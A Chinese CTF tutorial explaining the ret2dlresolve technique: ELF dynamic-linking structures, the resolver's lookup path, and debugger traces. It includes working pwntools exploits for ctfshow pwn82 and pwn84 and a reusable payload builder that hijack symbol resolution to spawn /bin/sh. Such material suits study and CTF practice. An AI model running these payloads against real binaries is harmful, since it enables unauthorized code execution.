ret2dlresovle攻击原理 ret2dlresovle攻击的本质就是在于程序在动态链接时篡改相关结构体,让程序解析到错误的函数,进而达成攻击
Lazy Binding 当程序在第一次调用某个函数时,会调用_dl_runtime_resolve函数从libc中获取这个函数的真实地址
那么具体是怎么实现的呢?
动态链接的程序调用函数时会先call一个函数的plt表,如read@plt,执行read@plt表里的第一条指令,read@plt表里的第一条指令是jmp到got表中,执行got表里存放的地址所指向的指令,got表默认存放的是read@plt中下一条指令的地址,通过_dl_runtime_resolve函数解析libc中的真实地址后会将函数的真实地址填入到该函数的got表中
_dl_runtime_resolve 函数有两个参数,一个是reloc_index(reloc_index参数标识了具体要导入哪个函数 ),一个是link_map的地址
这里和普通函数调用方式不一样,会先push一个reloc_index,然后跳转到一个地址,push link_map的地址
然后再跳转到_dl_runtime_resolve,我们会发现dl_runtime_resolve函数最终调用的是_dl_fixup函数
也就是最终解析在libc中真实地址的函数
在深入了解_dl_runtime_resolve函数是怎么寻找到真实地址之前我们需要先了解几个基本结构体
Elf_Rel结构体 Elf_Rel实例化的每一个项组成了.rel.plt节
ELF 文件中的 .rel.plt 是一个 重定位表(Relocation Table) ,用于存储 PLT(Procedure Linkage Table) 相关的重定位信息,主要用于延迟绑定(Lazy Binding)。
我们只关心Elf_Rel结构体的两个域,一个是r_offset一个是r_info,r_offset是用于告诉解析真实地址的函数解析后的地址往哪里写(这些也就组成了got表),r_info则是当前项所代表的函数在.dynsym节中的偏移,下面放出Elf_Rel结构体的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 /* Elf_Rel size: 32 bit = 8B 64 bit = 24B */ typedef struct { Elf32_Addr r_offset; // 对应.got.plt表项的地址,解析后要回写的 Elf32_Word r_info; // .dynsym表的下标(r_info >> 8) } Elf32_Rel; typedef struct { Elf64_Addr r_offset; // 对应.got.plt表项的地址,解析后要回写的 Elf64_Xword r_info; // .dynsym表的下标(r_info >> 8) Elf64_Sxword r_addend; } Elf64_Rel;
Elf_Sym结构体 符号表(Symbol Table)用于记录程序中所有函数和全局变量的信息。每个符号在符号表中对应一个条目,这些条目由 Elf32_Sym 或 Elf64_Sym 结构体表示
我们在ELF32_Sym主要关心st_name,st_name是当前项所代表的函数在.dynstr节中的偏移
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 typedef struct{ Elf32_Word st_name; /* 4B .dynstr中的字符串偏移 */ Elf32_Addr st_value; /* 4B (无需关心,置0)符号的值,一般为虚拟地址*/ Elf32_Word st_size; /* 4B (无需关心,置0)符号的大小,如果为0则表示该符号无需大小或大小未知 */ unsigned char st_info; /* 1B 符号的类型和绑定特征。高4位为符号的绑定特征,低4位为符号类型 */ unsigned char st_other; /* 1B (无需关心,置0)符号的可见性,0为默认符号可见性规则 */ Elf32_Section st_shndx; /* 2B (无需关心,置0)符号所在的section对应的section header的索引号,0为未定义节 */ } Elf32_Sym; //含义同上 typedef struct { Elf64_Word st_name; unsigned char st_info; unsigned char st_other; Elf64_Section st_shndx; Elf64_Addr st_value; Elf64_Xword st_size; }Elf64_Sym;
dynstr节 在动态链接过程中,.dynstr 节与 .dynsym 节协同工作。.dynsym 节保存需要动态链接的符号表,每个符号都有一个 st_name 字段,该字段是一个索引,指向 .dynstr 节中相应符号名称的起始位置
.dynstr节是用来存放动态链接中所需解析的函数名的
link_map结构体 link_map是描述已加载的共享对象的结构体,采用双链表管理,该数据结构保存在ld.so的.bss段中。我们主要关注其中几个域
l_addr:共享对象的加载基址;
l_next,l_prev:管理link_map的双链表指针;
l_info:保存Elfxx_Dyn结构体指针的列表,用来寻找各节基址;如l_info[DT_STRTAB]指向保存着函数解析字符串表基址的Elfxx_Dyn结构体。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 /* 描述已加载共享对象的结构体。`l_next` 和 `l_prev` 成员 形成了在启动时加载的所有共享对象的链表。 这些数据结构存在于运行时动态链接器使用的空间中; 修改它们可能会导致严重后果。 如果有必要,这个数据结构在未来可能会改变。 用户级程序必须避免定义此类型的对象。 */ struct link_map { /* 以下几个成员是与调试器协议的一部分。 这与 SVR4 中使用的格式相同。 */ ElfW(Addr) l_addr; /* ELF 文件中的地址与内存中地址之间的差异。 */ char *l_name; /* 对象文件的绝对路径名。 */ ElfW(Dyn) *l_ld; /* 共享对象的动态段。 */ struct link_map *l_next, *l_prev; /* 已加载对象的链表。 */ /* 以下所有成员仅供动态链接器内部使用。 它们可能会在没有通知的情况下更改。 */ /* 当在多个命名空间中使用时,这个元素与指向相同类型的副本的指针不同。 */ struct link_map *l_real; /* 此 link map 所属的命名空间的编号。 */ Lmid_t l_ns; struct libname_list *l_libname; /* 动态段信息数组。 */ ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM + DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM]; const ElfW(Phdr) *l_phdr; /* 指向内存中程序头表的指针。 */ ElfW(Addr) l_entry; /* 入口点位置。 */ ElfW(Half) l_phnum; /* 程序头表条目数量。 */ ElfW(Half) l_ldnum; /* 动态段条目数量。 */ };
Elfxx_Dyn结构体 Elf(32/64)_Dyn结构体存放在.dynamic节中,说具体些就是键值对,关键字是各个动态段的标识,值则是各个动态段的对应的基址,包括之前说的的.ret.plt、.dynsym、dynstr节等。其主要作用就是在解析函数地址时使用这些键值对来找到各个动态段的基址,以确定数据条目的位置。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 typedef struct { Elf32_Sword d_tag; /* Dynamic entry type */ union { Elf32_Word d_val; /* Integer value */ Elf32_Addr d_ptr; /* Entry Address */ } d_un; } Elf32_Dyn; typedef struct { Elf64_Sxword d_tag; /* Dynamic entry type */ union { Elf64_Xword d_val; /* Integer value */ Elf64_Addr d_ptr; /* Address value */ } d_un; } Elf64_Dyn;
d_tag定义如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 /* Legal values for d_tag (dynamic entry type). */ #define DT_NULL 0 /* Marks end of dynamic section */ #define DT_NEEDED 1 /* Name of needed library */ #define DT_PLTRELSZ 2 /* Size in bytes of PLT relocs */ #define DT_PLTGOT 3 /* Processor defined value */ #define DT_HASH 4 /* Address of symbol hash table */ #define DT_STRTAB 5 /* Address of string table */ #define DT_SYMTAB 6 /* Address of symbol table */ #define DT_RELA 7 /* Address of Rela relocs */ #define DT_RELASZ 8 /* Total size of Rela relocs */ #define DT_RELAENT 9 /* Size of one Rela reloc */ #define DT_STRSZ 10 /* Size of string table */ #define DT_SYMENT 11 /* Size of one symbol table entry */ #define DT_INIT 12 /* Address of init function */ #define DT_FINI 13 /* Address of termination function */ #define DT_SONAME 14 /* Name of shared object */ #define DT_RPATH 15 /* Library search path (deprecated) */ #define DT_SYMBOLIC 16 /* Start symbol search here */ #define DT_REL 17 /* Address of Rel relocs */ #define DT_RELSZ 18 /* Total size of Rel relocs */ #define DT_RELENT 19 /* Size of one Rel reloc */ #define DT_PLTREL 20 /* Type of reloc in PLT */ #define DT_DEBUG 21 /* For debugging; unspecified */ #define DT_TEXTREL 22 /* Reloc might modify .text */ #define DT_JMPREL 23 /* Address of PLT relocs */ #define DT_BIND_NOW 24 /* Process relocations of object */ #define DT_INIT_ARRAY 25 /* Array with addresses of init fct */ #define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */ #define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */ #define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */ #define DT_RUNPATH 29 /* Library search path */ #define DT_FLAGS 30 /* Flags for the object being loaded */ #define DT_ENCODING 32 /* Start of encoded range */ #define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/ #define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */ #define DT_SYMTAB_SHNDX 34 /* Address of SYMTAB_SHNDX section */ #define DT_NUM 35 /* Number used */
我们需要关心的也就是
1 2 3 #define DT_STRTAB 5 /* Address of string table */ #define DT_SYMTAB 6 /* Address of symbol table */ #define DT_JMPREL 23 /* Address of PLT relocs */
分别存放了dynstr节、dynsym节、.rel.plt节的基址
那么我们各个节在内存中的具体结构如图
1 2 3 4 5 6 7 8 9 10 11 12 13 =============================================== | Related sections | Structure | =============================================== | .dynamic | Elf_Dyn entry | +-----------------+-----------+---------------+ | Functions | Variables | --- | +-----------------+-----------+---------------+ | .ret.plt | .ret.dyn | Elf_Rel entry | +-----------------+-----------+---------------+ | .dynsym | .dynsym | Elf_Sym entry | +-----------------+-----------+---------------+ | .dynstr | .dynstr | Strings | +-----------------+-----------+---------------+
大概解析流程 下面直接放张图方便理解
动态调式查看具体解析流程 直接这样说肯定不足以深入理解的,所以接下来会通过动态调式来查看具体解析流程
确定link_map中l_info的地址 不同的glibc版本l_info可能不同,网上并没有找到一个准确的偏移
但是通过观察link_map结构体不难发现l_info之前的成员有8个
1 2 3 4 5 6 7 8 l_addr l_name l_ld l_next l_prev l_real l_ns l_libname
那么通常情况下偏移应该就是0x20(调式环境为32位,如果是64位偏移通常应该是0x40)
知道了l_info的地址,就可以通过相关的d_tag的地址找到我们需要的段的基地址了
1 2 3 #define DT_STRTAB 5 /* Address of string table */ #define DT_SYMTAB 6 /* Address of symbol table */ #define DT_JMPREL 23 /* Address of PLT relocs */
确定动态链接所需的几个节的地址 然后我们通过d_tag找到对应段的基地址
这里给出一个公式
1 2 3 DT_xxx_addr = ptr [l_info_addr + lenth * (offset - 1)] lenth为字长 offset位DT_xxx对应于l_info的条目
dynstr_addr 1 DT_STRTAB_addr = ptr [0xf7ffda44 + 0x4 * (5 - 1)] = 0x8049804
我们可以发现动态调试和我们在IDA里看到的却是是一样的
dynstr的地址是0x0804824C
1 DT_STRTAB_addr = ptr [l_info_addr + 0x4 * (5-1)]
dynsym_addr 1 DT_SYMTAB_addr = ptr [0xf7ffda44 + 0x4 * (6 - 1)] = 0x804980c
dynsym的地址是0x080481AC
.rel.plt_addr 1 DT_JMPREL_addr = ptr [0xf7ffda44 + 0x4 * (23 - 1)] = 0x8049844
.rel.plt的地址是0x8048304
通过read函数来观察是怎么找到符号名称的 read函数的reloc_index是8
1 r_info = ptr [.rel.plt_addr + reloc_index + lenth] = 0x207
1 st_name = ptr [dynsym_addr + (r_info>>8) * 0x10] = 0x27
1 read_str = ptr [.dynstr_addr + st_name] = /* 'read' */
ret2dlresolve之No-Relro 32位下No-Relro 以ctfshow中的pwn82为例
进入到ctfshow函数中,发现有溢出点
因为是No-Relro所以.dynamic可写,那么我们直接将.dynamic中的DT_STRTAB的值给改成我们恶意伪造在bss段上的.dynstr节(将任意函数名替换成system)的地址就可以直接进行攻击
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import * sh = remote('pwn.challenge.ctf.show',28268) #sh = process('./pwn1') elf = ELF('./pwn1') #gdb.attach(sh, 'b *0x8048513\nc') pop_3 = 0x08048629 read_plt_next = 0x08048376 bss_addr = 0x080498E0 DT_STRTAB_addr = 0x08049808 dynstr = elf.get_section_by_name('.dynstr').data() fake_dynstr = dynstr.replace(b'read',b'system') payload = cyclic(0x6C + 0x4) + p32(elf.sym['read']) + p32(pop_3) + p32(0) + p32(DT_STRTAB_addr) + p32(4) payload += p32(elf.sym['read']) + p32(pop_3) + p32(0) + p32(bss_addr + 0x100) + p32(len(b'/bin/sh\x00')) payload += p32(elf.sym['read']) + p32(pop_3) + p32(0) + p32(bss_addr) + p32(len(fake_dynstr)) payload += p32(read_plt_next) + p32(0xdeadbeef) + p32(bss_addr + 0x100) sh.sendlineafter('Welcome to CTFshowPWN!\n',payload) sh.send(p32(bss_addr)) sh.send(b'/bin/sh\x00') sh.send(fake_dynstr) sh.interactive()
64位下No-Relro 以ctfshow Pwn84为例,由于是64位所以需要寄存器传参,但是由于没有合适的gadget,这里采用ret2csu
而且只能溢出0x30个字节,显然不够用,所以还要先进行一次Stack Pivot
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from pwn import * elf = ELF('./pwn2') sh = process('./pwn2') #gdb.attach(sh, 'b *0x40063B\nc') #sh = remote('pwn.challenge.ctf.show', 28161) DT_STRTAB_addr = 0x600990 read_plt_next = 0x400516 pop_rdi = 0x400773 payload = cyclic(0x70 + 0x8) csu_front_addr = 0x400750 csu_end_addr = 0x40076A dynstr = elf.get_section_by_name('.dynstr').data() fake_dynstr = dynstr.replace(b'read',b'system') pivot_addr = elf.bss(0x100) - 0x8 pop_rbp_ret = 0x400588 leave_ret = 0x40063c ret_addr = 0x4004c6 def ret2csu(fuction, rdi, rsi, rdx): payload = p64(csu_end_addr) payload += p64(0) payload += p64(1) payload += p64(fuction) payload += p64(rdi) payload += p64(rsi) payload += p64(rdx) payload += p64(csu_front_addr) return payload def ret2csu_end(): return cyclic(0x38) payload = cyclic(0x70 + 0x8) payload += ret2csu(elf.got['read'],0,elf.bss(0x100),0x150) payload += ret2csu_end() payload += p64(ret_addr) + p64(0x40063E) sh.sendafter('Welcome to CTFshowPWN!\n',payload) payload = ret2csu(elf.got['read'],0,elf.bss(0x300),len(fake_dynstr)) payload += ret2csu(elf.got['read'],0,DT_STRTAB_addr,0x8) payload += ret2csu(elf.got['read'],0,elf.bss(0x250),len(b'/bin/sh\x00')) payload += ret2csu_end() payload += p64(ret_addr) + p64(pop_rdi) + p64(elf.bss(0x250)) + p64(read_plt_next) + p64(0xdeadbeef) sh.send(payload) payload = cyclic(0x70) + p64(pivot_addr) + p64(leave_ret) sh.sendafter('Welcome to CTFshowPWN!\n',payload) sh.send(fake_dynstr) sh.send(p64(elf.bss(0x300))) sh.send(b'/bin/sh\x00') sh.interactive()
32位下的partial-relro.no-leak 因为是partial-relro所以并不能像之前那样直接改Elfxx_Dyn结构体了,但我们仍可以通过修改入口函数的reloc_index,再伪造Elf_Rel
ELF_sym、dynstr这三个结构体来达到解析任意函数的目的
之前已经说过,每个函数对应的结构体都是通过偏移来寻找的,那么我们还需要知道偏移是怎么计算的
计算偏移 具体的,我们需要计算的偏移有:
传递给_dl_runtime_resolve函数的offset参数:32位下为Elf32_Rel条目到.ret.plt节的偏移,64位下为Elf64_Rela条目的索引值;
Elf_Rel结构体中的r_info:r_info是一个复合数值,其低8位为重定位类型(Relocation Types),一般在利用上选取R_386_JMP_SLOT=R_X86_64_JUMP_SLOT=7即函数类型进行填充。而剩下高位部分则为对应Elf_Sym条目在.dynsym中的下标,即index = (r_info >> 8)
Elf_Sym结构体中的st_name:该值为函数字符串相对于.dynstr表基址的偏移。
特殊成员r_info 由于r_info我们是自己根据Elfxx_Dyn计算出的偏移,当在程序访问 version 的 hash 时(会用到r_info)会导致访问到不存在地址
1 2 3 4 5 6 7 8 9 if (l->l_info[VERSYMIDX(DT_VERSYM)] != NULL) { const ElfW(Half) *vernum = (const void *)D_PTR(l, l_info[VERSYMIDX(DT_VERSYM)]); ElfW(Half) ndx = vernum[ELFW(R_SYM)(reloc->r_info)] & 0x7fff; version = &l->l_versions[ndx]; if (version->hash == 0) version = NULL; }
通过分析 .dynmic 节,我们可以发现 vernum 的地址为 0x80482d8
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 ❯ readelf -d main_partial_relro_32 Dynamic section at offset 0xf0c contains 24 entries: Tag Type Name/Value 0x00000001 (NEEDED) Shared library: [libc.so.6] 0x0000000c (INIT) 0x804834c 0x0000000d (FINI) 0x8048654 0x00000019 (INIT_ARRAY) 0x8049f04 0x0000001b (INIT_ARRAYSZ) 4 (bytes) 0x0000001a (FINI_ARRAY) 0x8049f08 0x0000001c (FINI_ARRAYSZ) 4 (bytes) 0x6ffffef5 (GNU_HASH) 0x80481ac 0x00000005 (STRTAB) 0x804826c 0x00000006 (SYMTAB) 0x80481cc 0x0000000a (STRSZ) 107 (bytes) 0x0000000b (SYMENT) 16 (bytes) 0x00000015 (DEBUG) 0x0 0x00000003 (PLTGOT) 0x804a000 0x00000002 (PLTRELSZ) 40 (bytes) 0x00000014 (PLTREL) REL 0x00000017 (JMPREL) 0x8048324 0x00000011 (REL) 0x804830c 0x00000012 (RELSZ) 24 (bytes) 0x00000013 (RELENT) 8 (bytes) 0x6ffffffe (VERNEED) 0x80482ec 0x6fffffff (VERNEEDNUM) 1 0x6ffffff0 (VERSYM) 0x80482d8 0x00000000 (NULL) 0x0
在 ida 中,我们也可以看到相关的信息
1 2 3 4 5 6 7 8 9 10 11 LOAD:080482D8 ; ELF GNU Symbol Version Table LOAD:080482D8 dw 0 LOAD:080482DA dw 2 ; setbuf@@GLIBC_2.0 LOAD:080482DC dw 2 ; read@@GLIBC_2.0 LOAD:080482DE dw 0 ; local symbol: __gmon_start__ LOAD:080482E0 dw 2 ; strlen@@GLIBC_2.0 LOAD:080482E2 dw 2 ; __libc_start_main@@GLIBC_2.0 LOAD:080482E4 dw 2 ; write@@GLIBC_2.0 LOAD:080482E6 dw 2 ; stdin@@GLIBC_2.0 LOAD:080482E8 dw 2 ; stdout@@GLIBC_2.0 LOAD:080482EA dw 1 ; global symbol: _IO_stdin_used
那我们可以再次运行看一下伪造后 ndx 具体的值
1 2 3 4 5 6 7 8 9 10 ❯ python stage4.py [*] '/mnt/hgfs/ctf-challenges/pwn/stackoverflow/ret2dlresolve/2015-xdctf-pwn200/32/partial-relro/main_partial_relro_32' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [+] Starting local process './main_partial_relro_32': pid 27649 [*] Loaded 10 cached gadgets for './main_partial_relro_32' ndx_addr: 0x80487a8
可以发现,ndx_落入了 .eh_frame 节中。
1 .eh_frame:080487A8 dw 442Ch
进一步地,ndx 的值为 0x442C。显然不知道会索引到哪里去。
1 2 3 4 5 6 7 8 9 if (l->l_info[VERSYMIDX(DT_VERSYM)] != NULL) { const ElfW(Half) *vernum = (const void *)D_PTR(l, l_info[VERSYMIDX(DT_VERSYM)]); ElfW(Half) ndx = vernum[ELFW(R_SYM)(reloc->r_info)] & 0x7fff; version = &l->l_versions[ndx]; if (version->hash == 0) version = NULL; }
通过动态调试,我们可以发现 l_versions 的起始地址,并且其中一共有 3 个元素。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 pwndbg> print *((struct link_map *)0xf7f0d940) $4 = { l_addr = 0, l_name = 0xf7f0dc2c "", l_ld = 0x8049f0c, l_next = 0xf7f0dc30, l_prev = 0x0, l_real = 0xf7f0d940, l_ns = 0, l_libname = 0xf7f0dc20, l_info = {0x0, 0x8049f0c, 0x8049f7c, 0x8049f74, 0x0, 0x8049f4c, 0x8049f54, 0x0, 0x0, 0x0, 0x8049f5c, 0x8049f64, 0x8049f14, 0x8049f1c, 0x0, 0x0, 0x0, 0x8049f94, 0x8049f9c, 0x8049fa4, 0x8049f84, 0x8049f6c, 0x0, 0x8049f8c, 0x0, 0x8049f24, 0x8049f34, 0x8049f2c, 0x8049f3c, 0x0, 0x0, 0x0, 0x0, 0x0, 0x8049fb4, 0x8049fac, 0x0 <repeats 13 times>, 0x8049fbc, 0x0 <repeats 25 times>, 0x8049f44}, l_phdr = 0x8048034, l_entry = 134513632, l_phnum = 9, l_ldnum = 0, l_searchlist = { r_list = 0xf7edf3e0, r_nlist = 3 }, l_symbolic_searchlist = { r_list = 0xf7f0dc1c, r_nlist = 0 }, l_loader = 0x0, l_versions = 0xf7edf3f0, l_nversions = 3,
对应的分别为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 pwndbg> print *((struct r_found_version[3] *)0xf7edf3f0) $13 = {{ name = 0x0, hash = 0, hidden = 0, filename = 0x0 }, { name = 0x0, hash = 0, hidden = 0, filename = 0x0 }, { name = 0x80482be "GLIBC_2.0", hash = 225011984, hidden = 0, filename = 0x804826d "libc.so.6" }}
此时,计算得到的 version 地址为 0xf7f236b0,显然不在映射的内存区域。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 pwndbg> print /x 0xf7edf3f0+0x442C*16 $16 = 0xf7f236b0 pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x8048000 0x8049000 r-xp 1000 0 /mnt/hgfs/ctf-challenges/pwn/stackoverflow/ret2dlresolve/2015-xdctf-pwn200/32/partial-relro/main_partial_relro_32 0x8049000 0x804a000 r--p 1000 0 /mnt/hgfs/ctf-challenges/pwn/stackoverflow/ret2dlresolve/2015-xdctf-pwn200/32/partial-relro/main_partial_relro_32 0x804a000 0x804b000 rw-p 1000 1000 /mnt/hgfs/ctf-challenges/pwn/stackoverflow/ret2dlresolve/2015-xdctf-pwn200/32/partial-relro/main_partial_relro_32 0xf7ce8000 0xf7ebd000 r-xp 1d5000 0 /lib/i386-linux-gnu/libc-2.27.so 0xf7ebd000 0xf7ebe000 ---p 1000 1d5000 /lib/i386-linux-gnu/libc-2.27.so 0xf7ebe000 0xf7ec0000 r--p 2000 1d5000 /lib/i386-linux-gnu/libc-2.27.so 0xf7ec0000 0xf7ec1000 rw-p 1000 1d7000 /lib/i386-linux-gnu/libc-2.27.so 0xf7ec1000 0xf7ec4000 rw-p 3000 0 0xf7edf000 0xf7ee1000 rw-p 2000 0 0xf7ee1000 0xf7ee4000 r--p 3000 0 [vvar] 0xf7ee4000 0xf7ee6000 r-xp 2000 0 [vdso] 0xf7ee6000 0xf7f0c000 r-xp 26000 0 /lib/i386-linux-gnu/ld-2.27.so 0xf7f0c000 0xf7f0d000 r--p 1000 25000 /lib/i386-linux-gnu/ld-2.27.so 0xf7f0d000 0xf7f0e000 rw-p 1000 26000 /lib/i386-linux-gnu/ld-2.27.so 0xffa4b000 0xffa6d000 rw-p 22000 0 [stack]
而在动态解析符号地址的过程中,如果 version 为 NULL 的话,也会正常解析符号。
与此同,根据上面的调试信息,可以知道 l_versions 的前两个元素中的 hash 值都为 0,因此如果我们使得 ndx 为 0 或者 1 时,就可以满足要求,我们来在 080487A8 下方找一个合适的值。可以发现 0x080487C2 处的内容为 0。
那自然的,我们就可以调用目标函数。
我们可以通过调整 base_stage 来达到相应的目的。
还有一个坑点是因为r_info必须得是0x10的倍数,因为计算方式先整数0x10再乘0x10,如果不是0x10的倍数会导致最后的4bit丢失,从而导致寻找不到对应的结构体
下面放出我自己写的32位的板子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 def ret2dlresolve_x86(elf,bss_addr,got,function_name,value1,value2,value3): jmp_plt0_addr = elf.get_section_by_name('.plt').header.sh_addr rel_plt_addr = elf.get_section_by_name('.rel.plt').header.sh_addr dynsym_addr = elf.get_section_by_name('.dynsym').header.sh_addr dynstr_addr = elf.get_section_by_name('.dynstr').header.sh_addr reloc_index = (bss_addr + 0x60) - rel_plt_addr r_info = (((bss_addr + 0x84 - dynsym_addr) // 0x10) << 8) + (0x7 & 0xFF) #必须要调整r_info的值为0x10的倍数,如果不是0x10倍数,一次整除0x10再一次乘0x10会导致最终的后4bit丢失 st_name = (bss_addr + 0xA4) - dynstr_addr ropp3r = p32(jmp_plt0_addr) + p32(reloc_index) + p32(0xdeadbeef) + p32(value1) + p32(value2) + p32(value3) ropp3r = ropp3r.ljust(0x40,b'A') fake_data = b'/bin/sh\x00' fake_data = fake_data.ljust(0x20,b'A') fake_rel_plt = p32(got) + p32(r_info) fake_rel_plt = fake_rel_plt.ljust(0x24,b'A') fake_dynsym = p32(st_name) + p32(0) + p32(0) + p32(0x12) fake_dynsym = fake_dynsym.ljust(0x20,b'A') fake_dynstr = function_name payload = ropp3r + fake_data + fake_rel_plt + fake_dynsym + fake_dynstr ndx_addr = (r_info >> 8)*2 + 0x80482d8 print('[+]r_info:', hex((r_info))) print('[+]r_info >>8 :', hex((r_info >> 8))) print('[+](bss_addr + 0x84 - dynsym_addr):',hex((bss_addr + 0x84 - dynsym_addr))) print('[+]ndx_addr:', hex((ndx_addr))) print('[+]dynsym_addr:', hex((dynsym_addr))) print('[+]bss_addr:', hex((bss_addr))) return payload
64位下的partial-relro.no-leak 我们假设一种64位下比较极端的情况——没有任何输出函数可以泄露出link_map的地址,则我们就无法修改l_info[VERSYMIDX(DT_VERSYM)]为NULL,那么我们就无法绕开的l->l_info[VERSYMIDX(DT_VERSYM)] != NULL,即程序因访问到非法区域而崩溃。(32位则不需要考虑是否会崩溃,可直接使用2,1节的方式进行攻击)
此时我们需要一种不需要输出函数也能攻击的方法
我们如果之前的32位是绕过小判断,则这次我们需要绕过更上一层的判断 ,即使得 if (__builtin_expect(ELFW(ST_VISIBILITY)(sym->st_other), 0) == 0)不成立,走进else分支。
我们来看看_dl_fixup()中这段源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 #define DL_FIXUP_MAKE_VALUE(map, addr) (addr) _dl_fixup(){ if (__builtin_expect(ELFW(ST_VISIBILITY)(sym->st_other), 0 ) == 0 ) { const struct r_found_version *version = NULL ; if (l->l_info[VERSYMIDX(DT_VERSYM)] != NULL ) { const ElfW (Half) *vernum = (const void *)D_PTR(l, l_info[VERSYMIDX(DT_VERSYM)]); ElfW(Half) ndx = vernum[ELFW(R_SYM)(reloc->r_info)] & 0x7fff ; version = &l->l_versions[ndx]; if (version->hash == 0 ) version = NULL ; } int flags = DL_LOOKUP_ADD_DEPENDENCY; if (!RTLD_SINGLE_THREAD_P) { THREAD_GSCOPE_SET_FLAG(); flags |= DL_LOOKUP_GSCOPE_LOCK; } #ifdef RTLD_ENABLE_FOREIGN_CALL RTLD_ENABLE_FOREIGN_CALL; #endif result = _dl_lookup_symbol_x(strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL ); if (!RTLD_SINGLE_THREAD_P) THREAD_GSCOPE_RESET_FLAG(); #ifdef RTLD_FINALIZE_FOREIGN_CALL RTLD_FINALIZE_FOREIGN_CALL; #endif value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0 ); } else { value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value); result = l; } }
那么此时我们仅需要在构造Elf_Sym结构体时将Elf_Sym->st_other设置为非0即可绕开,进入else分支。
Elf_Sym->st_other定义如下,实际上设置为非0即可:
1 2 3 4 5 6 7 8 9 10 11 ┌─┬──────────────────────────────────────────────────────────────────────────────────┐ │1 │ │ │2 │#define ELF32_ST_VISIBILITY(o) ((o) & 0x03) │ │3 │ │ │4 │#define ELF64_ST_VISIBILITY(o) ELF32_ST_VISIBILITY (o) │ │5 │ │ │6 │#define STV_DEFAULT 0 │ │7 │#define STV_INTERNAL 1 │ │8 │#define STV_HIDDEN 2 │ │9 │#define STV_PROTECTED 3 │ └─┴──────────────────────────────────────────────────────────────────────────────────┘
这两个分支的区别无非在于当前查询的符号知否是已知的
若不是已知的则找到待解析函数所在文件的link_map,然后取出l_addr再计算.
若是已知的则直接拿l的l_addr进行计算。
进入else分支之后,我们地址的计算方式变更为value = l->l_addr + sym->st_value。
那么因为原来libc中的link_map地址未知,则该link_map的l_addr值我们没有办法改变,那么如果我们能“另起炉灶”,构造一个新的的link_map呢?
我们构造的link_map要使得其:
1 l_addr = RVA(func A) - RVA(func B)
其中func A为我们想要解析的函数,如system,execve,func B为当前程序已经解析的函数,如__libc_start_main。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 type = struct { Elf32_Word st_name; Elf32_Addr st_value; Elf32_Word st_size; unsigned char st_info; unsigned char st_other; Elf32_Section st_shndx; }Elf32_Sym; struct { Elf64_Word st_name; unsigned char st_info; unsigned char st_other; Elf64_Section st_shndx; Elf64_Addr st_value; Elf64_Xword st_size; }Elf64_Sym;
然后我们再在在got表附近“构造”的Elf_Sym结构体,准确地说是恰好让结构体中的st_value的区域和func B的got表项重合,即借用GOT表项,那么此时(假设为64位)的Elf_Sym中的st_name和st_other字段将与func B的上一个GOT表项重合。
构造示意图如下:
那么我们为什么要这么构造呢?
此时解析出来的value则为:
1 2 3 4 5 6 7 value = l->l_addr + sym->st_value = ( RVA(func A) - RVA(func B) ) + VA(func B) = RVA(func A) + (VA(func B) - RVA(func B)) = RVA(func A) + Libc_base = VA(func A)
dl_fixup得出的结果value “正好”是我们所需要的地址,即dl_fixup成功“计算出”了我们想要的恶意函数A的地址,那么接下来dl_runtime_resolve就会调用该地址所在的函数,目的达成。
而让伪造的Elf_Sym结构体落在GOT表附近是非常简单的,只需要在我们伪造Elf_Dyn时(希望读者没有忘记,这个结构体是保存各个节基址的键值对),将关键字DT_SYMTAB的值指向GOT表附近即可。
那么如果我们要保证st_other不为0,那么在64位下,需要func B的got表项的上一项必须已经初始化,并且第6个字节(索引为5)不为0,否则st_other还是0,没法走到else分支;
庆幸的是,64位下的GOT表项一般初始化后的的值类似于0x7feefa1c6000之类的值,即第6个字节为0x7f,那么此时我们的st_other不为0,满足条件。
同理,若想在32位下进行攻击,则需要保证func B的got表项的 下两项 已经初始化且该项的第2个字节(索引为1)不为0。
(32位和64位要求不同的根本原因就是Elf32_Sym和Elf64_Sym的字段顺序不同)
